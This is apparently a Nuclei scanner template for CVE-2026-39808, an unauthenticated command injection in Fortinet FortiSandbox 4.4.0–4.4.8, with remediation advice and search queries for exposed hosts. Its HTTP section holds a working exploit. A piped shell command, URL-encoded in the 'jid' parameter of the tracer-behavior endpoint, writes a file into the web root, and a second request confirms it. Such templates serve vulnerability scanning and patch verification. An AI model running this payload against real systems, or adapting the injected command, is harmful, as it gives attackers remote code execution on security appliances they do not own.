id: CVE-2026-39808

info:
  name: Fortinet FortiSandbox - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Fortinet FortiSandbox 4.4.0 through 4.4.8 contains a command injection caused by improper neutralization of special elements in OS commands, letting attackers execute unauthorized code or commands, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary code or commands, potentially leading to full system compromise.
  remediation: Upgrade FortiSandbox to version 4.4.9 or later.
  reference:
    - https://fortiguard.fortinet.com/psirt/FG-IR-26-100
    - https://nvd.nist.gov/vuln/detail/CVE-2026-39808
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-39808
    cwe-id: CWE-78
    epss-score: 0.66168
    epss-percentile: 0.99179
  metadata:
    verified: true
    max-request: 2
    vendor: fortinet
    product: fortisandbox
    shodan-query: http.title:"FortiSandbox"
    fofa-query: title="FortiSandbox"
  tags: cve,cve2026,fortisandbox,fortinet,rce,intrusive,file-upload,vkev

variables:
  string: "{{randstr}}"
  filename: "{{to_lower(rand_text_alpha(8))}}"

http:
  - raw:
      - |
        GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+%3e+%2fweb%2fng%2f{{filename}}.txt%29%7c HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'fortisandbox')"
        internal: true

  - raw:
      - |
        GET /ng/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, '{{string}}')"
        condition: and
# digest: 4b0a00483046022100a4588e2ef595b36a643e59cfbd0caa3d37a2f41b654fe6bb43fe4c30b8b13d2e022100be6f388c803ea4e7a5f3cd0431ed3a0057ae0e10e52e66a8fb444b40cf2e6d2e:922c64590222798bb761d5b6d8e72950